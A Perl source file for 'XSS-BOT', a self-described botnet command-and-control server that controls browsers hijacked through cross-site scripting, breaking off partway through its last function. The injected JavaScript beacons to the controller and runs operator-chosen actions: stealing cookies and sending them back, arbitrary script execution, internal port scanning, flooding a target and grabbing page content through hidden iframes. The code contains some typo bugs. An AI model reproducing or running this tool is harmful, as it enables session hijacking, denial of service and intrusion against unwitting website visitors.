1: #!/usr/bin/perl
2:
3: use IO::Socket;
4:
5: # Autoflush
6: $| = 1;
7:
8: ######### Global Variables
9: my $VERSION = "1.0";
10:
11: my %ARGS = (
12: "PORT" => 80, # Server listening port
13: "DEBUG" => 0, # Debug mode
14: "VERBOSE" => 0, # Verbose mode
15: "ADMIN" => "/admin", # Admin URI
16: "INJECT" => "/inject", # Injection URI
17: "SYNC" => "/sync", # Sync URI
18: "FATHER" => "", # Referer IP:port:sync (194.98.65.65:81:/sync)
19: "LOGIN" => "admin", # Admin login
20: "PASSWORD" => "admin", # Admin password
21: "HEARTBEAT" => 6500, # Bot connection timer
22: "LOADTIMER" => 12000, # Page loading time
23: "SESSION" => "sessionID", # Session management argument
24: "LOCALIP" => "", # Local IP
25: "REMOTEIP" => "", # Reachable IP address (useful fort NAT)
26: "BOTSESSION"=> "botSessionID", # Bot session management argument
27:
28: );
29:
30: my $ERROR = 0;
31: my $SERVER;
32: my %ADMIN_SESSION;
33: my %CLIENTS;
34: my %SESSIONS;
35: my %ADMIN_SESSION;
36: my @OPERATIONS;
37: my @AUTOACTION = ("Idle",'');
38: my @PEERS;
39: my %SERVERS;
40: my $SYNC_DELAY = 300;
41:
42:
43: my %HTTP_RESPONSE = (
44: "200" => "OK",
45: "404" => "FILE NOT FOUND",
46: );
47:
48: my %ACTIONS = (
49: "Idle" => ["Waiting for commands",\&actionIdle],
50: "Redirect" => ["Redirect Client",\&actionRedirect],
51: "Alert" => ["Say Hello",\&actionAlert],
52: "Custom" => ["Write your script",\&actionCustom],
53: "Portscan" => ["Params: \<target\> \<port\> \[timeout\]",\&actionPortscan],
54: "Flood" => ["Kill target. This is bad.",\&actionFlood],
55: "Cookies" => ["Steal cookies",\&actionCookies],
56: "GetPage" => ["Download page HTML code",\&actionGetPage],
57: );
58:
59: ##################### Main Function Path ###########################
60:
61: ######### STEP 1: Get command line args and set global variables;
62: if(!&getCLIargs(\@ARGV)) {
63: &displayUsage();
64: $ERROR = 1;
65: }
66:
67: my %FUNCTIONS = (
68: $ARGS{"ADMIN"} => \&adminPage,
69: $ARGS{"INJECT"} => \&injectPage,
70: "*" => \&defaultPage,
71: );
72:
73: ## Debug Mode
74: if($ARGS{"DEBUG"} == 1) { print "\n>> Debug mode <<\n\n"; }
75: if($ARGS{"DEBUG"} == 2) { print "\n>> HEAVY Debug mode <<\n\n"; use Data::Dumper; }
76: ##
77:
78: ## Print banner
79: if($ARGS{"VERBOSE"}) {
80: print "\n";
81: print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
82: print "!!!!! Welcome on XSS-BOT !!!!!\n";
83: print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
84: print "\n";
85: }
86:
87: if($ARGS{"VERBOSE"}) {
88: print "Launch Options\n";
89: print "--------------\n";
90: while(my($arg,$value) = each(%ARGS)) {
91: if($arg ne "LOCALIP") {
92: print $arg." "x(25-length($arg))."= ".$value."\n";
93: }
94: }
95: print "\n";
96: }
97:
98: if($ARGS{"FATHER"}) {
99: my @peer = split(/:/,$ARGS{"FATHER"});
100: $PEERS{$peer[0]} = \@peer;
101: }
102:
103: ######### STEP 1: End.
104:
105: ######### STEP 2: Sync setup
106:
107: &feedInitialPeer();
108:
109: ######### STEP 2: End.
110:
111: ######### STEP 3: Launch Web Server
112: if(!$ERROR) {
113: if(!&launchWebServer()) {
114: $ERROR = 1;
115: }
116: }
117:
118: ######### STEP 3: End.
119:
120: ######### STEP 4: Main Loop
121: if(!$ERROR) {
122: if(!&startListener()) {
123: $ERROR = 1;
124: }
125: }
126: ######### STEP 4: End.
127:
128:
129: ## Debug
130: if($ERROR && $ARGS{"DEBUG"}) { "Exiting on error. Too bad.\n"; }
131: ##
132: if(!$ERROR && $ARGS{"VERBOSE"}) { "Exiting.\n"; }
133:
134: ##############################################################
135:
136: ##### STEP 1 Functions - Start ######
137: sub getCLIargs() {
138:
139: my ($argv_ref) = @_;
140:
141: my $error = 0;
142: my $return_val = 1;
143:
144: if($#ARGV >= 0) {
145: foreach my $arg(@$argv_ref) {
146: if(!($arg =~ /^-/)) {
147: $error = 1;
148: } else {
149: $arg =~ s/^--?(.*)$/$1/;
150: if($arg =~ /^p(?:ort)?=(\d+)$/) { # Listening port
151: $ARGS{"PORT"} = $1;
152: } elsif($arg =~ /^d(?:ebug)?$/) { # Debug mode
153: $ARGS{"DEBUG"} += 1;
154: $ARGS{"VERBOSE"} = 1; # Setting verbose mode as well
155: } elsif($arg =~ /^v(?:erbose)?$/) { # Verbose mode
156: $ARGS{"VERBOSE"} = 1;
157: } elsif($arg =~ /^a(?:dmin)?=(\S+)$/) { # Admin URI
158: $ARGS{"ADMIN"} = $1;
159: } elsif($arg =~ /^i(?:nject)?=(\S+)$/) { # Injection URI
160: $ARGS{"INJECT"} = $1;
161: } elsif($arg =~ /^(?:y|sync)=(.*)$/) { # Sync URI
162: $ARGS{"SYNC"} = $1;
163: } elsif($arg =~ /^f(?:ather)?=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+:.*)$/) { # Referer for initial sync
164: $ARGS{"FATHER"} = $1;
165: } elsif($arg =~ /^l(?:ogin)?=(.*)$/) { # Admin login
166: $ARGS{"LOGIN"} = $1;
167: } elsif($arg =~ /^(?:w|password)=(.*)$/) { # Admin password
168: $ARGS{"PASSWORD"} = $1;
169: } elsif($arg =~ /^h(?:eartbeat)?=(\d+)$/) { # Bot connection timer
170: $ARGS{"HEARTBEAT"} = $1;
171: } elsif($arg =~ /^s(?:ession)?=([a-zA-Z0-9]+)$/) { # Session management argument
172: $ARGS{"SESSION"} = $1;
173: } elsif($arg =~ /^b(?:otession)?=([a-zA-Z0-9]+)$/) { # Bot session management argument
174: $ARGS{"BOTSESSION"} = $1;
175: } elsif($arg =~ /^r(?:emoteip)?=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/) { # remotely accessible ip
176: $ARGS{"REMOTEIP"} = $1;
177: #} elsif($arg =~ /^(?:t|loadtimer)=(.*)$/) { # Page loading time
178: # $ARGS{"LOADTIMER"} = $1;
179: } else {
180: $error = 1;
181: }
182: }
183: }
184: }
185:
186: if($error) {
187: $return_val = 0;
188: }
189:
190: return $return_val;
191:
192: }
193: ##### STEP 1 Functions - END ######
194:
195: ##### STEP 2 Functions - START ####
196:
197: sub feedInitialPeer {
198:
199: my ($father_ip,$father_port,$father_sync_uri) = split(/:/,$ARGS{"FATHER"});
200:
201: my $return_value = &feedPeer($father_ip,$father_port,$father_sync_uri);
202:
203: return $return_value;
204:
205: }
206:
207: sub feedPeer {
208:
209: my ($sync_ip,$sync_port,$sync_uri) = @_;
210:
211: my $return_value = 1;
212:
213: use IO::Socket;
214: my $sync_sock = IO::Socket::INET->new (
215: PeerAddr => $sync_ip,
216: PeerPort => $sync_port,
217: Proto => 'tcp',
218: );
219:
220: if(!$sync_sock) {
221: if(defined($PEERS{$sync_ip})) { # A peer is now down
222: delete $PEERS{$sync_ip};
223: }
224: $error = 1;
225: } else {
226: print $syn_sock "GET ".$sync_uri." HTTP/1.0";
227: my $line;
228: while ($line = <$sock>) {
229: chomp($line);
230: if(my @peer = $line =~ /^([^:]+):([^:]+):([^:]+):([^:]+):([^:]+):([^:]+):([^:]+)/) { # @peer = (ip,port,sync_uri,admin_uri,inject_uri,sessionID,botSessuionID)
231: $PEERS{$peer[0]} = \@peer;
232: }
233: }
234:
235: close($sync_sock);
236:
237: }
238:
239: if($error) {
240: $return_value = 0;
241: }
242:
243: return $return_value;
244:
245:
246:
247: }
248:
249: ##### STEP 2 Functions - END ######
250:
251: ##### STEP 3 Functions - START ####
252:
253: sub syncWithPeers {
254:
255: while(my($peer_ip,$peer_data) = each(%PEERS)) {
256: &feedPeer($peer_ip,$peer_data->[1],$peer_data->[2]);
257: }
258:
259: }
260:
261: sub launchWebServer {
262:
263: my $error = 0;
264: my $return_value = 1;
265:
266: $SERVER = IO::Socket::INET->new(
267: Proto => 'tcp',
268: LocalPort => $ARGS{"PORT"},
269: Listen => SOMAXCONN,
270: Reuse => 1
271: );
272:
273: if(!$SERVER) {
274: $error = 1;
275: } else {
276: $mysockaddr = getsockname($SERVER);
277: my($port, $myaddr) = sockaddr_in($mysockaddr);
278: $ARGS{"LOCALIP"} = scalar gethostbyaddr($myaddr, AF_INET);
279: if(!$ARGS{"REMOTEIP"}) {
280: $ARGS{"REMOTEIP"} = $ARGS{"LOCALIP"};
281: }
282: }
283:
284: ## Debug
285: if(!$error && $ARGS{"DEBUG"}) { print("Server listening on ".$ARGS{"LOCALIP"}." on port ".$ARGS{"PORT"}."\n"); print("Admin URI is ".$ARGS{"ADMIN"}."\n"); }
286: ##
287:
288: if($error && $ARGS{"VERBOSE"}) { print("Error launching server\n"); }
289:
290: if($error) {
291: $return_value = 0;
292: }
293:
294: return $return_value;
295: }
296:
297: ##### STEP 3 Functions - END ######
298:
299: ##### STEP 4 Functions - START ####
300:
301: sub startListener {
302:
303: my $error = 0;
304: my $return_value = 1;
305:
306: my $previous = time();
307:
308: while (my $client = $SERVER->accept()) {
309:
310: if(time()-$previous > $SYNC_DELAY) {
311: &syncWithPeers();
312: $previous = time();
313: }
314:
315: my %client;
316: $client->autoflush(1);
317: $client{"request"} = <$client>;
318: chomp($client{"request"});
319:
320: my $source = getpeername($client);
321: my ($iport, $iaddr) = unpack_sockaddr_in($source);
322: $client{"port"} = $iport;
323: $client{"ip"} = inet_ntoa($iaddr);
324:
325: if($ARGS{"VERBOSE"}) { print($client{"ip"}." connected - Request: ".$client{"request"}."\n"); }
326:
327: my @request;
328: &parseRequest(\@request,\%client);
329: if(defined($request[1]->[1]->{$ARGS{"SESSION"}})) {
330: $client{"session"} = $request[1]->[1]->{$ARGS{"SESSION"}};
331: }
332:
333: ## Debug (heavy)
334: if($ARGS{"DEBUG"} == 2) { print "Request Array\n"; print Dumper(@request); }
335: ##
336:
337: &setClientSession(\%client);
338:
339: ## Debug (heavy)
340: if($ARGS{"DEBUG"} == 2) { print "Clients Hash\n"; print Dumper(%CLIENTS); print "Sessions hash\n"; print Dumper(%SESSIONS); print "Operations Array\n"; print Dumper(@OPERATIONS); print "AutoAction Array\n"; print Dumper(@AUTOACTION);}
341: ##
342:
343: if(!defined($FUNCTIONS{$request[1]->[0]})) {
344: &{$FUNCTIONS{"*"}} ($client,\%client,\@request);
345: } else {
346: &{$FUNCTIONS{$request[1]->[0]}} ($client,\%client,\@request);
347: }
348:
349: close($client);
350:
351: }
352:
353: return $return_value;
354:
355: }
356:
357: sub parseRequest {
358:
359: my($line_ref,$client_ref) = @_;
360:
361: my $request = $client_ref->{"request"};
362:
363: my %arguments;
364: my @uri;
365:
366: my($method,$uri,$protocol) = split(/ /,$request);
367: my ($resource,$arguments) = split(/\?/,$uri);
368: my @arguments = split(/\&/,$arguments);
369:
370: foreach my $arg(@arguments) {
371: my($name,$value) = split(/=/,$arg);
372: $arguments{$name} = $value;
373: }
374:
375: @uri = ($resource,\%arguments);
376: $line_ref->[0] = $method;
377: $line_ref->[1] = \@uri;
378: $line_ref->[2] = $protocol;
379:
380: }
381:
382: sub setClientSession {
383:
384: my ($client_ref) = @_;
385:
386: my $ip = $client_ref->{"ip"};
387: my $request = $client_ref->{"request"};
388: my $time = time();
389: my $sessionID = $client_ref->{"session"};
390: if(!$sessionID) {
391: $sessionID = &getSessionID();
392: $client_ref->{"session"} = $sessionID;
393: }
394:
395: if($ARGS{"DEBUG"}) { print "Session ID : $sessionID\n"; }
396:
397: my @request = ($time,$request);
398:
399: if(!defined($CLIENTS{$ip})) { # New client, building the full data structure
400: my @requests = (\@request);
401: my @session = ($sessionID,\@requests);
402:
403: $CLIENTS{$ip} = \@session;
404: my @action = ("Idle",'');
405: $SESSIONS{$sessionID}= \@action;
406: } else { # Existing client
407: if($CLIENTS{$ip}->[0] eq $sessionID) { # Current session
408: if($#{$CLIENTS{$ip}->[1]} >= 10) {
409: pop(@{$CLIENTS{$ip}->[1]});
410: }
411: unshift(@{$CLIENTS{$ip}->[1]},\@request);
412: } else { # New session
413: delete $SESSIONS{$CLIENTS{$ip}->[0]};
414: my @requests = (\@request);
415: my @session = ($sessionID,\@requests);
416:
417: $CLIENTS{$ip} = \@session;
418: my @action = ("Idle",'');
419: $SESSIONS{$sessionID}= \@action;
420: }
421: }
422: }
423:
424: ##### STEP 4 Functions - END ######
425:
426: ##### Web Server Functions - START ##
427:
428: ##### Admin & Control Pages - START #####
429: sub adminPage {
430:
431: my ($c_socket,$client_ref,$request_ref) = @_;
432:
433: if($request_ref->[1]->[1]->{"login"} eq $ARGS{"LOGIN"} # Successful login
434: && $request_ref->[1]->[1]->{"password"} eq $ARGS{"PASSWORD"} ) { #
435:
436: # Set admin session parameters
437: $ADMIN_SESSION{"sessionID"}=$client_ref->{"session"};
438: $ADMIN_SESSION{"ip"}=$client_ref->{"ip"};
439: $ADMIN_SESSION{"time"}=$client_ref->{"time"};
440: }
441:
442: if($ADMIN_SESSION{"sessionID"} eq $client_ref->{"session"}
443: && $ADMIN_SESSION{"ip"} eq $client_ref->{"ip"}
444: && $ADMIN_SESSION{"time"} > ($client_ref->{"time"} - 300)) {
445:
446: &controlPage($c_socket,$client_ref,$request_ref);
447:
448: } else {
449:
450: my $response;
451: $response .= genHeader("200","text/html");
452:
453: $response .= "<HTML>"."\n";
454: $response .= "<HEAD></HEAD>"."\n";
455:
456: $response .= "<BODY>"."\n";
457: $response .= "<PRE>"."\n";
458: $response .= "<FORM NAME=\"login\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";
459: $response .= "Login: <INPUT TYPE=\"text\" name=\"login\">"."\n";
460: $response .= "Pass : <INPUT TYPE =\"password\" name=\"password\">"."\n";
461: $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
462: $response .= "<INPUT TYPE=\"submit\" value=\"login\">"."\n";
463: $response .= "</FORM>"."\n";
464:
465: $response .= "</PRE>"."\n";
466: $response .= "</BODY>"."\n";
467: $response .= "</HTML>\n";
468: print $c_socket $response;
469:
470: }
471: }
472:
473: sub controlPage {
474:
475: my ($c_socket,$client_ref,$request_ref) = @_;
476:
477: #### Apply selected action (if any)
478: if(defined($request_ref->[1]->[1]->{"action"})
479: && defined($request_ref->[1]->[1]->{$ARGS{"BOTSESSION"}})) {
480: my $action = $request_ref->[1]->[1]->{"action"};
481: my $botSessionID = $request_ref->[1]->[1]->{$ARGS{"BOTSESSION"}};
482: my $params;
483: if(defined($request_ref->[1]->[1]->{"params"})) {
484: $params = $request_ref->[1]->[1]->{"params"};
485: }
486:
487: if(defined($ACTIONS{$action})) {
488: $SESSIONS{$botSessionID}->[0] = $action;
489: $SESSIONS{$botSessionID}->[1] = $params;
490: }
491: }
492:
493: #### Sets default action
494: if(defined($request_ref->[1]->[1]->{"autoAction"})) {
495: my $autoAction = $request_ref->[1]->[1]->{"autoAction"};
496: my $autoParams;
497: if(defined($request_ref->[1]->[1]->{"autoParams"})) {
498: $autoParams = $request_ref->[1]->[1]->{"autoParams"};
499: }
500:
501: if(defined($ACTIONS{$autoAction})) {
502: $AUTOACTION[0] = $autoAction;
503: $AUTOACTION[1] = $autoParams;
504: }
505: }
506:
507:
508: #### Display currently connected bots status
509: my %bots;
510: my $current_params;
511: my $current_action;
512:
513: my $response;
514: $response .= genHeader("200","text/html");
515:
516: $response .= "<HTML>"."\n";
517: $response .= "<HEAD>"."\n";
518: $response .= "<SCRIPT TYPE=\"text/javascript\">"."\n";
519: $response .= "function changeAction(actionField) {"."\n";
520: $response .= " var aTypeId;"."\n";
521: $response .= " var aDescId;"."\n";
522: $response .= " if(actionField == 'action') {"."\n";
523: $response .= " aTypeId = 'action';"."\n";
524: $response .= " aDescId = 'actionDesc';"."\n";
525: $response .= " } else if(actionField == 'autoAction') {"."\n";
526: $response .= " aTypeId = 'autoAction';"."\n";
527: $response .= " aDescId = 'autoActionDesc';"."\n";
528: $response .= " };"."\n";
529: $response .= " var aValue = document.getElementById(aTypeId).value; "."\n";
530:
531:
532: while(my($action,$details_ref) = each(%ACTIONS)) {
533: my $description = $details_ref->[0];
534: $response .= " if(aValue == '".$action."') {"."\n";
535: $response .= " document.getElementById(aDescId).innerHTML='".$description."';"."\n";
536: $response .= " }";
537: }
538: $response .= "}"."\n";
539:
540: $response .= "</SCRIPT>"."\n";
541: $response .= "</HEAD>"."\n";
542:
543: $response .= "<BODY>"."\n";
544: $response .= "<PRE>"."\n";
545:
546:
547:
548:
549: $response .= ">>> Tostaky Botnet Control Center <<<"."\n";
550:
551: $response .= " <A HREF=\"".$ARGS{"ADMIN"}."?".$ARGS{"SESSION"}."=".$client_ref->{"session"}."\">refresh</A>"."\n";
552: $response .= "\n";
553: $response .= "\n";
554: $response .= "+++ Active Sessions List +++"."\n";
555: $response .= "\n";
556:
557: $response .= "+---- Bot IP -----+---- Action ----+---- Params ---->"."\n";
558:
559: while(my($ip,$session_ref) = each(%CLIENTS)) {
560: ## Debug (Heavy)
561: if($ARGS{"DEBUG"} == 2) { print "now = ".time()." - last = ".$session_ref->[1]->[0]->[0]." - Timeout = ".((int($ARGS{"HEARTBEAT"}/1000))+1)."\n"; }
562: ##
563: if($session_ref->[0] ne $ADMIN_SESSION{"sessionID"}
564: && $session_ref->[1]->[0]->[0] >= (time() - 2*(int($ARGS{"HEARTBEAT"}/1000)+2))) {
565:
566: $bots{$ip} = $CLIENTS{$ip}->[0];
567:
568: my $current_action = "Idle";
569: my $current_params = "";
570:
571: if($SESSIONS{$CLIENTS{$ip}->[0]}->[0]) {
572: $current_action = $SESSIONS{$CLIENTS{$ip}->[0]}->[0];
573: }
574: $response .= "| ".$ip." "x(16-length($ip));
575: $response .= "| ".$current_action." "x(15-length($current_action));
576: if($SESSIONS{$CLIENTS{$ip}->[0]}->[1]) {
577: $current_params = $SESSIONS{$CLIENTS{$ip}->[0]}->[1];
578: }
579: my $nice_params = &URLDecode($current_params);
580: $nice_params =~ s/\+/ /g;
581: $response .= "| ".$nice_params;
582: $response .= "\n";
583:
584: }
585: }
586:
587: $response .= "+-----------------+----------------+---------------->"."\n";
588:
589: $response .= "\n";
590: $response .= "\n";
591:
592: #### Actions
593: # Automated
594: $response .= "+++++ Automated Action +++++"."\n";
595: $response .= "\n";
596:
597: $response .= "</PRE>"."\n";
598: $response .= "<FORM NAME=\"automation\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";
599: $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
600:
601: $response .= "<SELECT NAME=\"autoAction\" ID=\"autoAction\" onChange=\"changeAction('autoAction')\">"."\n";
602: my $actionDescription;
603: foreach my $action(keys %ACTIONS) {
604: if($action eq $AUTOACTION[0]) {
605: $actionDescription = $ACTIONS{$AUTOACTION[0]}->[0];
606: $response .= "<OPTION VALUE=\"".$action."\" SELECTED=\"selected\">".$action."</OPTION> "."\n";
607: } else {
608: $response .= "<OPTION VALUE=\"".$action."\">".$action."</OPTION> "."\n";
609: }
610: }
611: $response .= "</SELECT>"."\n";
612:
613: $response .= "<INPUT TYPE=\"text\" NAME=\"autoParams\" VALUE=\"".&URLDecode($AUTOACTION[1])."\">"."\n";
614:
615:
616:
617: $response .= "<INPUT TYPE=\"submit\" value=\"Change that\">"."\n";
618: $response .= "</FORM>"."\n";
619:
620: $response .= "<PRE>"."\n";
621: $response .= "<DIV ID=\"autoActionDesc\">".$actionDescription."</DIV>"."\n";
622:
623:
624:
625: # One shot
626: $response .= "+++++++ Take Control +++++++"."\n";
627: $response .= "\n";
628:
629: $response .= "</PRE>"."\n";
630: $response .= "<FORM NAME=\"control\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";
631: $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
632:
633: $response .= "<SELECT NAME=\"".$ARGS{"BOTSESSION"}."\">"."\n";
634: while(my($bot_ip,$bot_session) = each (%bots)) {
635: $response .= "<OPTION VALUE=\"".$bot_session."\">".$bot_ip."</OPTION>"."\n";
636: }
637: $response .= "</SELECT>"."\n";
638:
639: $response .= "<SELECT NAME=\"action\" ID=\"action\" onChange=\"changeAction('action')\">"."\n";
640: my $actionCount = 0;
641: my $actionDescription;
642: foreach my $action(keys %ACTIONS) {
643: if(!$actionCount) {
644: $actionDescription = $ACTIONS{$action}->[0];
645: $response .= "<OPTION VALUE=\"".$action."\" SELECTED=\"selected\">".$action."</OPTION> "."\n";
646: } else {
647: $response .= "<OPTION VALUE=\"".$action."\">".$action."</OPTION> "."\n";
648: }
649: $actionCount++;
650: }
651: $response .= "</SELECT>"."\n";
652:
653: $response .= "<INPUT TYPE=\"text\" NAME=\"params\">"."\n";
654:
655:
656:
657: $response .= "<INPUT TYPE=\"submit\" value=\"Let\'s Go\">"."\n";
658: $response .= "</FORM>"."\n";
659:
660: $response .= "<PRE>"."\n";
661: $response .= "<DIV ID=\"actionDesc\">".$actionDescription."</DIV>"."\n";
662:
663:
664:
665:
666: #### Responses
667: $response .= "++++++ Bots Responses ++++++"."\n";
668: $response .= "\n";
669:
670: foreach my $operation_ref(@OPERATIONS) {
671: my @operation = @$operation_ref;
672: my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($operation[0]);
673:
674: $mon += 1;
675: $mon = "0"x(2-length($mon)).$mon;
676: $mday = "0"x(2-length($mday)).$mday;
677: $hour = "0"x(2-length($hour)).$hour;
678: $min = "0"x(2-length($min)).$min;
679: $sec = "0"x(2-length($sec)).$sec;
680:
681: $response .= $mon."-".$mday." ".$hour.":".$min.":".$sec;
682: $response .= " -> ";
683: $response .= $operation[1];
684: $response .= " : ";
685:
686: my $response_content = URLDecode($operation[2]);
687: $response_content =~ s/</\</g;
688: $response_content =~ s/>/\>/g;
689:
690: $response .= $response_content;
691: $response .= "\n";
692: }
693:
694: $response .= "</PRE>"."\n";
695:
696: $response .= "</BODY>"."\n";
697: $response .= "</HTML>\n";
698:
699: print $c_socket $response;
700:
701: }
702:
703: ##### Admin & Control Pages - END #####
704:
705: ##### Injection Pages - START #######
706:
707: sub injectPage {
708:
709: my ($c_socket,$client_ref,$request_ref) = @_;
710:
711: my $botSessionID = $client_ref->{"session"};
712:
713: my $response;
714: $response .= &genHeader("200","text/plain");
715:
716: if(!$request_ref->[1]->[1]->{$ARGS{"SESSION"}}) { # New bot session
717:
718: # Injecting Session Initializatin Script
719: $response .= initSessionCode($botSessionID);
720: $response .= &{$ACTIONS{$AUTOACTION[0]}->[1]}($AUTOACTION[1]);
721: $SESSIONS{$botSessionID}->[0] = $AUTOACTION[0];
722: $SESSIONS{$botSessionID}->[1] = $AUTOACTION[1];
723:
724: } else {
725:
726: if(defined($ACTIONS{$SESSIONS{$botSessionID}->[0]}) && $SESSIONS{$botSessionID}->[0] ne "Idle") {
727: $response .= &{$ACTIONS{$SESSIONS{$botSessionID}->[0]}->[1]}($SESSIONS{$botSessionID}->[1]);
728: }
729:
730: if(defined($request_ref->[1]->[1]->{"return"})) {
731: my @operation = (time(),$client_ref->{"ip"},$request_ref->[1]->[1]->{"return"});
732: unshift(@OPERATIONS,\@operation);
733: }
734:
735: }
736:
737: print $c_socket $response;
738:
739: if(defined($ACTIONS{$SESSIONS{$botSessionID}->[0]}) &&
740: ( $SESSIONS{$botSessionID}->[0] eq "Custom"
741: || $SESSIONS{$botSessionID}->[0] eq "Alert"
742: || $SESSIONS{$botSessionID}->[0] eq "Portscan"
743: || $SESSIONS{$botSessionID}->[0] eq "GetPage")
744: ) {
745: $SESSIONS{$botSessionID}->[0] = "Idle";
746: $SESSIONS{$botSessionID}->[1] = '';
747: }
748:
749: }
750:
751: ##### Injection Pages - END #########
752:
753:
754:
755: ##### Injection Scripts - START #######
756:
757: sub initSessionCode {
758:
759: my ($sessionID) = @_;
760:
761: my $script_code;
762:
763: $script_code .= "function connectCC(retval) {"."\n";
764: $script_code .= " var URL= 'http://".$ARGS{"REMOTEIP"}.":".$ARGS{"PORT"}.$ARGS{"INJECT"}."?".$ARGS{"SESSION"}."=".$sessionID."';"."\n";
765: $script_code .= " if(retval) { URL = URL+'\&return='+retval; } "."\n";
766: $script_code .= " var scriptTag = document.getElementById('loadScript');"."\n";
767: $script_code .= " var head = document.getElementsByTagName('head').item(0);"."\n";
768: $script_code .= " if(scriptTag) head.removeChild(scriptTag);"."\n";
769: $script_code .= " script = document.createElement('script');"."\n";
770: $script_code .= " script.src = URL;"."\n";
771: $script_code .= " script.type = 'text/javascript';"."\n";
772: $script_code .= " script.id = 'loadScript';"."\n";
773: $script_code .= " head.appendChild(script);"."\n";
774: $script_code .= "}"."\n";
775: $script_code .= "var sessionID='".$sessionID."';"."\n";
776: $script_code .= "setInterval('connectCC()',".$ARGS{"HEARTBEAT"}.");"."\n";
777:
778:
779: return $script_code;
780:
781: }
782:
783: sub actionRedirect {
784:
785: my ($params) = @_;
786:
787: my $code;
788:
789: $code .= "var returnValue = window.location='".&URLDecode($params)."';\n";
790:
791: return $code;
792:
793: }
794:
795: sub actionAlert {
796:
797: my ($params) = @_;
798:
799: my $code;
800:
801: $code .= "var returnValue = alert('".$params."');\n";
802:
803: return $code;
804:
805: }
806:
807: sub actionCustom {
808:
809: my ($params) = @_;
810:
811: my $code;
812:
813: $code .= "var returnValue = ".&URLDecode($params).";\n";
814: $code .= "connectCC(returnValue);"."\n";
815:
816: return $code;
817:
818: }
819:
820: sub actionPortscan {
821:
822: my ($params) = @_;
823: my ($target,$port,$timeout) = split(/\+/,$params);
824:
825: if(!$timeout) { $timeout = 100; }
826:
827: my $code;
828:
829: $code .= "var img = new Image();"."\n";
830: $code .= "var open = 0;"."\n";
831: $code .= "img.onerror = function () { open = 1; };"."\n";
832: $code .= "img.onload = img.onerror;"."\n";
833: $code .= "img.src = 'http://' + '".$target."' + ':' + '".$port."';"."\n";
834: $code .= "setTimeout(function () {"."\n";
835: $code .= " if (open) { connectCC(\'".$target."/".$port.":open\'); }"."\n";
836: $code .= " else { connectCC(\'".$target."/".$port.":closed\'); }"."\n";
837: $code .= "}, ".$timeout.");"."\n";
838:
839: return $code;
840:
841: };
842:
843: sub actionFlood {
844:
845: my ($params) = @_;
846:
847: my $code;
848:
849: $code .= "function flood() {"."\n";
850: $code .= " var img = new Image();"."\n";
851: $code .= " img.src = '".&URLDecode($params)."';"."\n";
852: $code .= " img.onload;"."\n";
853: $code .= "}"."\n";
854: $code .= "var floodInterval = setInterval('flood()',50);"."\n";
855: $code .= "setTimeout(function() { clearInterval(floodInterval); },".($ARGS{"HEARTBEAT"}-500).");"."\n";
856:
857: return $code;
858:
859: }
860:
861: sub actionCookies {
862:
863: my ($params) = @_;
864:
865: my $code;
866:
867: $code .= "var returnValue = document.cookie,".";\n";
868: $code .= "connectCC(returnValue);"."\n";
869:
870: return $code;
871:
872: }
873:
874: sub actionIdle {
875:
876: my ($params) = @_;
877:
878: ;
879:
880: }
881:
882: ## ABORTED. For now...
883: #
884:
885: sub actionGetPage {
886:
887: my ($params) = @_;
888:
889: my $code;
890:
891: $code .= "function sendContent() {"."\n";
892: $code .= " var targetContent = window.frames['grabFrame'].document.body.innerHTML;"."\n";
893: $code .= " connectCC(targetContent);"."\n";
894: $code .= "}"."\n";
895: $code .= "var iframeTag = document.getElementById('grabFrame');"."\n";
896: $code .= "if(iframeTag) { document.body.removeChild(iframeTag); }"."\n";
897: $code .= "var iframeObj = document.createElement('IFRAME');"."\n";
898: $code .= "iframeObj.src = '".&URLDecode($params)."';"."\n";
899: $code .= "iframeObj.name = 'grabFrame';"."\n";
900: $code .= "iframeObj.id = 'grabFrame';"."\n";
901: $code .= "iframeObj.height=0;"."\n";
902: $code .= "iframeObj.width=0;"."\n";
903: $code .= "document.body.appendChild(iframeObj);"."\n";
904: $code .= "var targetContent = window.frames['grabFrame'].document.body.innerHTML;"."\n";
905: $code .= "if(targetContent == null) {"."\n";
906: $code .= " targetContent = document.getElementById('grabFrame').contentDocument.body.innerHTML;"."\n";
907: $code .= "}"."\n";
908:
909: #$code .= "alert(targetContent);"."\n";
910: #$code .= " connectCC(targetContent);"."\n";
911: $code .= "setTimeout(\"connectCC(targetContent)\",".$ARGS{"LOADTIMER"}.");"."\n";
912: #$code .= "setTimeout(\"alert(targetContent)\",".$ARGS{"LOADTIMER"}.");"."\n";
913:
914: ;
915:
916: }
917:
918: #
919: ## But I will be back...
920:
921: ##### Injection Scripts - END #########
922:
923: ##### Default Page #####
924: sub defaultPage {
925:
926: my ($c_socket,$client_ref,$request_ref) = @_;
927:
928: my $response;
929: $response .= genHeader("200","text/html");
930: $response .= "\n";
931: $response .= "<HTML><HEAD></HEAD><BODY>You should probably not be here...</BODY></HTML>\n";
932: print $c_socket $response;
933:
934:
935: }
936:
937:
938:
939: sub genHeader {
940:
941: my ($response_code,$response_type) = @_;
942:
943: my $response_text = $HTTP_RESPONSE{$response_code};
944:
945: my $header;
946:
947: $header = "HTTP/1.1 $response_code $response_text\n";
948: $header .= "Content-Type: $response_type\n";
949: $header .= "Cache-control: no-cache\n";
950: $header .= "\n";
951:
952: return $header;
953:
954: }
955:
956:
957:
958:
959:
960:
961: ##### Generic Functions - START ####
962:
963: sub displayUsage {
964:
965: print "Looser...\n";
966:
967: }
968:
969: sub getSessionID {
970:
971: my $sessionIDlength = 10;
972: my @values = (0 .. 9,A .. Z);
973: my $sessionID;
974: for(my $i=0; $i<= $sessionIDlength; $i++) {
975: $sessionID .= $values[int(rand(36))];
